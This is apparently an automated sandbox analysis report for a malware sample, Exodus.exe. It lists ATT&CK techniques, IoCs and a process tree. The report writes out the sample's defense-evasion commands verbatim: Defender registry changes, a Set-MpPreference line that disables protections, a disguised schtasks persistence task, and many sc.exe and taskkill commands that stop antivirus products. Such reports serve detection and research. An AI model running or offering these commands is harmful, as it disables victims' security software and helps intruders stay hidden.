6ae97fa67147ef805f00cfe3235146f97a316f56883993620656d5ddad15a1ff

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	shell_helper.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 9 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableAntiVirus = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\TamperProtection = "0"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableAntiSpyware = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	shell_helper.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	shell_helper.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

pid	Process
5152	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
3348	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
5452	shell_helper.exe

Loads dropped DLL 55 IoCs

pid	Process
4376	Exodus.exe
4376	Exodus.exe
4376	Exodus.exe
4376	Exodus.exe
4376	Exodus.exe
4376	Exodus.exe
4376	Exodus.exe
4376	Exodus.exe
4376	Exodus.exe
4376	Exodus.exe
4376	Exodus.exe
4376	Exodus.exe
4376	Exodus.exe
4376	Exodus.exe
4376	Exodus.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe
3908	WindowsUpdateService.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\DisableScanOnRealtimeEnable = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\DisableIOAVProtection = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\DisableAntiSpyware = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\DisableAntiVirus = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\DisableRealtimeMonitoring = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\DisableBehaviorMonitoring = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\DisableOnAccessProtection = "1"	shell_helper.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5152	powershell.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3564	powershell.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2036	sc.exe
3568	sc.exe
2384	sc.exe
5132	sc.exe
5404	sc.exe
1536	sc.exe
1348	sc.exe
6036	sc.exe
4500	sc.exe
64	sc.exe
1688	sc.exe
5916	sc.exe
3100	sc.exe
3060	sc.exe
3920	sc.exe
5248	sc.exe
5584	sc.exe
4832	sc.exe
1764	sc.exe
3480	sc.exe
3992	sc.exe
5584	sc.exe
3440	sc.exe
5940	sc.exe
2820	sc.exe
4236	sc.exe
3652	sc.exe
4328	sc.exe
3860	sc.exe
760	sc.exe
5768	sc.exe
4628	sc.exe
1868	sc.exe
2828	sc.exe
5160	sc.exe
4780	sc.exe
1916	sc.exe
2428	sc.exe
4492	sc.exe
6000	sc.exe
5144	sc.exe
4160	sc.exe
1340	sc.exe
4412	sc.exe
5528	sc.exe
4092	sc.exe
3564	sc.exe
5644	sc.exe
400	sc.exe
5700	sc.exe
3928	sc.exe
5968	sc.exe
4728	sc.exe
1456	sc.exe
5508	sc.exe
1728	sc.exe
5280	sc.exe
2708	sc.exe
1676	sc.exe
5268	sc.exe
2388	sc.exe
5688	sc.exe
2368	sc.exe
4940	sc.exe

Kills process with taskkill 18 IoCs

defense_evasion

pid	Process
1688	taskkill.exe
1148	taskkill.exe
5428	taskkill.exe
4128	taskkill.exe
4324	taskkill.exe
668	taskkill.exe
2240	taskkill.exe
5712	taskkill.exe
5960	taskkill.exe
1104	taskkill.exe
5988	taskkill.exe
2484	taskkill.exe
2712	taskkill.exe
5008	taskkill.exe
5808	taskkill.exe
3584	taskkill.exe
1240	taskkill.exe
5440	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4836	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3564	powershell.exe
3564	powershell.exe
4376	Exodus.exe
4376	Exodus.exe
5152	powershell.exe
5152	powershell.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeDebugPrivilege	4376	Exodus.exe
Token: SeDebugPrivilege	3908	WindowsUpdateService.exe
Token: SeDebugPrivilege	5152	powershell.exe
Token: SeDebugPrivilege	1688	taskkill.exe
Token: SeDebugPrivilege	5712	taskkill.exe
Token: SeDebugPrivilege	1240	taskkill.exe
Token: SeDebugPrivilege	5960	taskkill.exe
Token: SeDebugPrivilege	2712	taskkill.exe
Token: SeDebugPrivilege	5440	taskkill.exe
Token: SeDebugPrivilege	1148	taskkill.exe
Token: SeDebugPrivilege	5008	taskkill.exe
Token: SeDebugPrivilege	1104	taskkill.exe
Token: SeDebugPrivilege	5428	taskkill.exe
Token: SeDebugPrivilege	4128	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4212 wrote to memory of 4376	4212	Exodus.exe	85
PID 4376 wrote to memory of 3564	4376	Exodus.exe	86
PID 4376 wrote to memory of 4836	4376	Exodus.exe	88
PID 4376 wrote to memory of 3348	4376	Exodus.exe	90
PID 3348 wrote to memory of 3908	3348	WindowsUpdateService.exe	91
PID 3908 wrote to memory of 5452	3908	WindowsUpdateService.exe	94
PID 5452 wrote to memory of 5152	5452	shell_helper.exe	96
PID 5452 wrote to memory of 5836	5452	shell_helper.exe	98
PID 5452 wrote to memory of 5248	5452	shell_helper.exe	100
PID 5452 wrote to memory of 4500	5452	shell_helper.exe	102
PID 5452 wrote to memory of 2288	5452	shell_helper.exe	104
PID 5452 wrote to memory of 4628	5452	shell_helper.exe	106
PID 5452 wrote to memory of 2696	5452	shell_helper.exe	108
PID 5452 wrote to memory of 5940	5452	shell_helper.exe	110
PID 5452 wrote to memory of 5584	5452	shell_helper.exe	112
PID 5452 wrote to memory of 4492	5452	shell_helper.exe	114
PID 5452 wrote to memory of 456	5452	shell_helper.exe	116
PID 5452 wrote to memory of 2820	5452	shell_helper.exe	118
PID 5452 wrote to memory of 2388	5452	shell_helper.exe	120
PID 5452 wrote to memory of 5688	5452	shell_helper.exe	122
PID 5452 wrote to memory of 64	5452	shell_helper.exe	124
PID 5452 wrote to memory of 4832	5452	shell_helper.exe	126
PID 5452 wrote to memory of 2368	5452	shell_helper.exe	128
PID 5452 wrote to memory of 5968	5452	shell_helper.exe	130
PID 5452 wrote to memory of 2036	5452	shell_helper.exe	132
PID 5452 wrote to memory of 3564	5452	shell_helper.exe	134
PID 5452 wrote to memory of 3568	5452	shell_helper.exe	136
PID 5452 wrote to memory of 6000	5452	shell_helper.exe	138
PID 5452 wrote to memory of 4092	5452	shell_helper.exe	140
PID 5452 wrote to memory of 4728	5452	shell_helper.exe	142
PID 5452 wrote to memory of 1764	5452	shell_helper.exe	144
PID 5452 wrote to memory of 1488	5452	shell_helper.exe	146
PID 5452 wrote to memory of 1868	5452	shell_helper.exe	148
PID 5452 wrote to memory of 4236	5452	shell_helper.exe	150
PID 5452 wrote to memory of 5268	5452	shell_helper.exe	152
PID 5452 wrote to memory of 5124	5452	shell_helper.exe	154
PID 5452 wrote to memory of 1688	5452	shell_helper.exe	156
PID 5452 wrote to memory of 3860	5452	shell_helper.exe	158
PID 5452 wrote to memory of 1456	5452	shell_helper.exe	160
PID 5452 wrote to memory of 4824	5452	shell_helper.exe	162
PID 5452 wrote to memory of 5508	5452	shell_helper.exe	164
PID 5452 wrote to memory of 5144	5452	shell_helper.exe	166
PID 5452 wrote to memory of 640	5452	shell_helper.exe	168
PID 5452 wrote to memory of 3964	5452	shell_helper.exe	170
PID 5452 wrote to memory of 2828	5452	shell_helper.exe	172
PID 5452 wrote to memory of 3652	5452	shell_helper.exe	174
PID 5452 wrote to memory of 1728	5452	shell_helper.exe	176
PID 5452 wrote to memory of 3584	5452	shell_helper.exe	178
PID 5452 wrote to memory of 5916	5452	shell_helper.exe	180
PID 5452 wrote to memory of 3480	5452	shell_helper.exe	182
PID 5452 wrote to memory of 4160	5452	shell_helper.exe	184
PID 5452 wrote to memory of 1832	5452	shell_helper.exe	186
PID 5452 wrote to memory of 2976	5452	shell_helper.exe	188
PID 5452 wrote to memory of 5644	5452	shell_helper.exe	190
PID 5452 wrote to memory of 4108	5452	shell_helper.exe	192
PID 5452 wrote to memory of 5280	5452	shell_helper.exe	194
PID 5452 wrote to memory of 4940	5452	shell_helper.exe	196
PID 5452 wrote to memory of 1576	5452	shell_helper.exe	198
PID 5452 wrote to memory of 4116	5452	shell_helper.exe	200
PID 5452 wrote to memory of 760	5452	shell_helper.exe	202
PID 5452 wrote to memory of 2384	5452	shell_helper.exe	204
PID 5452 wrote to memory of 2144	5452	shell_helper.exe	206
PID 5452 wrote to memory of 828	5452	shell_helper.exe	208
PID 5452 wrote to memory of 5404	5452	shell_helper.exe	210

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Exodus.exe
"C:\Users\Admin\AppData\Local\Temp\Exodus.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4212
- C:\Users\Admin\AppData\Local\Temp\Exodus.exe
  "C:\Users\Admin\AppData\Local\Temp\Exodus.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "try { $m = Get-MpComputerStatus -ErrorAction SilentlyContinue; if ($null -eq $m) { 'UNKNOWN'; exit } if ($m.RealTimeProtectionEnabled) { 'ENABLED' } else { 'DISABLED' } } catch { 'UNKNOWN' }"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3564
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn "Microsoft\Windows\WindowsUpdate\WindowsUpdateCacheRefresh" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4836
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
    C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3348
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
      C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3908
    - - C:\Users\Admin\AppData\Local\Temp\_MEI33482\app\shell_helper.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI33482\app\shell_helper.exe disable_av
        5⤵
        Modifies Windows Defender DisableAntiSpyware settings
        Modifies Windows Defender Real-time Protection settings
        Modifies Windows Defender TamperProtection settings
        Executes dropped EXE
        Windows security modification
        Suspicious use of WriteProcessMemory
        
        PID:5452
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableOnAccessProtection $true -DisableScanOnRealtimeEnable $true -DisableIOAVProtection $true -DisablePrivacyMode $true -MAPSReporting 0 -SubmitSamplesConsent 2"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5152
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" config WinDefend start= disabled
        6⤵
        
        PID:5836
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop WinDefend
        6⤵
        Launches sc.exe
        
        PID:5248
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" config WdNisSvc start= disabled
        6⤵
        Launches sc.exe
        
        PID:4500
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop WdNisSvc
        6⤵
        
        PID:2288
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" config Sense start= disabled
        6⤵
        Launches sc.exe
        
        PID:4628
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "avast! Antivirus" start= disabled
        6⤵
        
        PID:2696
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "avast! Antivirus"
        6⤵
        Launches sc.exe
        
        PID:5940
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "Avast Antivirus" start= disabled
        6⤵
        Launches sc.exe
        
        PID:5584
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "Avast Antivirus"
        6⤵
        Launches sc.exe
        
        PID:4492
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "avast! Firewall" start= disabled
        6⤵
        
        PID:456
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "avast! Firewall"
        6⤵
        Launches sc.exe
        
        PID:2820
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "aswSP" start= disabled
        6⤵
        Launches sc.exe
        
        PID:2388
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "aswSP"
        6⤵
        Launches sc.exe
        
        PID:5688
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "aswNetSec" start= disabled
        6⤵
        Launches sc.exe
        
        PID:64
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "aswNetSec"
        6⤵
        Launches sc.exe
        
        PID:4832
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "Norton Security" start= disabled
        6⤵
        Launches sc.exe
        
        PID:2368
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "Norton Security"
        6⤵
        Launches sc.exe
        
        PID:5968
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "Norton 360" start= disabled
        6⤵
        Launches sc.exe
        
        PID:2036
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "Norton 360"
        6⤵
        Launches sc.exe
        
        PID:3564
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "Symantec Antivirus" start= disabled
        6⤵
        Launches sc.exe
        
        PID:3568
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "Symantec Antivirus"
        6⤵
        Launches sc.exe
        
        PID:6000
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "Norton Internet Security" start= disabled
        6⤵
        
        PID:4092
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "Norton Internet Security"
        6⤵
        Launches sc.exe
        
        PID:4728
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "ccSetMgr" start= disabled
        6⤵
        Launches sc.exe
        
        PID:1764
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "ccSetMgr"
        6⤵
        
        PID:1488
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "ccEvtMgr" start= disabled
        6⤵
        Launches sc.exe
        
        PID:1868
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "ccEvtMgr"
        6⤵
        Launches sc.exe
        
        PID:4236
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "NIS" start= disabled
        6⤵
        Launches sc.exe
        
        PID:5268
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "NIS"
        6⤵
        
        PID:5124
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "NAV" start= disabled
        6⤵
        Launches sc.exe
        
        PID:1688
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "NAV"
        6⤵
        Launches sc.exe
        
        PID:3860
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "McAfee Firewall" start= disabled
        6⤵
        Launches sc.exe
        
        PID:1456
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "McAfee Firewall"
        6⤵
        
        PID:4824
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "McAfee WebAdvisor" start= disabled
        6⤵
        Launches sc.exe
        
        PID:5508
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "McAfee WebAdvisor"
        6⤵
        Launches sc.exe
        
        PID:5144
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "McAfee VirusScan" start= disabled
        6⤵
        
        PID:640
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "McAfee VirusScan"
        6⤵
        
        PID:3964
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "McAfee Framework" start= disabled
        6⤵
        Launches sc.exe
        
        PID:2828
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "McAfee Framework"
        6⤵
        Launches sc.exe
        
        PID:3652
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "McAfee McShield" start= disabled
        6⤵
        Launches sc.exe
        
        PID:1728
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "McAfee McShield"
        6⤵
        
        PID:3584
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "McAfee SiteAdvisor" start= disabled
        6⤵
        Launches sc.exe
        
        PID:5916
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "McAfee SiteAdvisor"
        6⤵
        Launches sc.exe
        
        PID:3480
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "Kaspersky Security" start= disabled
        6⤵
        Launches sc.exe
        
        PID:4160
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "Kaspersky Security"
        6⤵
        
        PID:1832
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "Kaspersky Anti-Virus" start= disabled
        6⤵
        
        PID:2976
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "Kaspersky Anti-Virus"
        6⤵
        Launches sc.exe
        
        PID:5644
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "kavfs" start= disabled
        6⤵
        
        PID:4108
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "kavfs"
        6⤵
        Launches sc.exe
        
        PID:5280
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "kavfswp" start= disabled
        6⤵
        Launches sc.exe
        
        PID:4940
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "kavfswp"
        6⤵
        
        PID:1576
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "Bitdefender" start= disabled
        6⤵
        
        PID:4116
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "Bitdefender"
        6⤵
        Launches sc.exe
        
        PID:760
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "Bitdefender Antivirus" start= disabled
        6⤵
        Launches sc.exe
        
        PID:2384
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "Bitdefender Antivirus"
        6⤵
        
        PID:2144
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "Bitdefender Security" start= disabled
        6⤵
        
        PID:828
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "Bitdefender Security"
        6⤵
        Launches sc.exe
        
        PID:5404
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "ESET Security" start= disabled
        6⤵
        
        PID:5868
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "ESET Security"
        6⤵
        
        PID:5720
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "ESET Service" start= disabled
        6⤵
        Launches sc.exe
        
        PID:3992
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "ESET Service"
        6⤵
        
        PID:2936
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "ekrn" start= disabled
        6⤵
        Launches sc.exe
        
        PID:400
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "ekrn"
        6⤵
        
        PID:1988
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "eamonm" start= disabled
        6⤵
        Launches sc.exe
        
        PID:1536
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "eamonm"
        6⤵
        Launches sc.exe
        
        PID:1348
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "Malwarebytes Service" start= disabled
        6⤵
        Launches sc.exe
        
        PID:6036
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "Malwarebytes Service"
        6⤵
        Launches sc.exe
        
        PID:1340
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "MBAMService" start= disabled
        6⤵
        Launches sc.exe
        
        PID:5132
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "MBAMService"
        6⤵
        Launches sc.exe
        
        PID:4412
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "Malwarebytes" start= disabled
        6⤵
        Launches sc.exe
        
        PID:5700
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "Malwarebytes"
        6⤵
        Launches sc.exe
        
        PID:2708
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "Trend Micro" start= disabled
        6⤵
        
        PID:4868
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "Trend Micro"
        6⤵
        Launches sc.exe
        
        PID:3928
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "tmccsf" start= disabled
        6⤵
        Launches sc.exe
        
        PID:5528
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "tmccsf"
        6⤵
        
        PID:5376
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "TmPfw" start= disabled
        6⤵
        Launches sc.exe
        
        PID:5584
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "TmPfw"
        6⤵
        Launches sc.exe
        
        PID:1676
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "OfficeScanNT" start= disabled
        6⤵
        
        PID:3932
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "OfficeScanNT"
        6⤵
        Launches sc.exe
        
        PID:5160
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "AVG Antivirus" start= disabled
        6⤵
        Launches sc.exe
        
        PID:3100
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "AVG Antivirus"
        6⤵
        Launches sc.exe
        
        PID:4092
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "AVG Security" start= disabled
        6⤵
        Launches sc.exe
        
        PID:4780
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "AVG Security"
        6⤵
        
        PID:692
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "360TotalSecurity" start= disabled
        6⤵
        Launches sc.exe
        
        PID:1916
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "360TotalSecurity"
        6⤵
        
        PID:4816
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "360Safe" start= disabled
        6⤵
        
        PID:5300
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "360Safe"
        6⤵
        Launches sc.exe
        
        PID:3440
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "WebrootSecureAnywhere" start= disabled
        6⤵
        Launches sc.exe
        
        PID:4328
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "WebrootSecureAnywhere"
        6⤵
        
        PID:1448
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "TotalSecurity" start= disabled
        6⤵
        Launches sc.exe
        
        PID:5768
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "TotalSecurity"
        6⤵
        Launches sc.exe
        
        PID:2428
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "IKEEXE" start= disabled
        6⤵
        
        PID:3968
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "IKEEXE"
        6⤵
        
        PID:2944
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" "ZoneAlarm" start= disabled
        6⤵
        Launches sc.exe
        
        PID:3060
      - C:\Windows\SYSTEM32\sc.exe
        
        "sc.exe" stop "ZoneAlarm"
        6⤵
        Launches sc.exe
        
        PID:3920
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM avastui.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1688
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM avgnt.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5712
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM avgui.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1240
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM ccSvcHst.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5960
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM mcshield.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2712
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM msmpeng.exe /T
        6⤵
        Kills process with taskkill
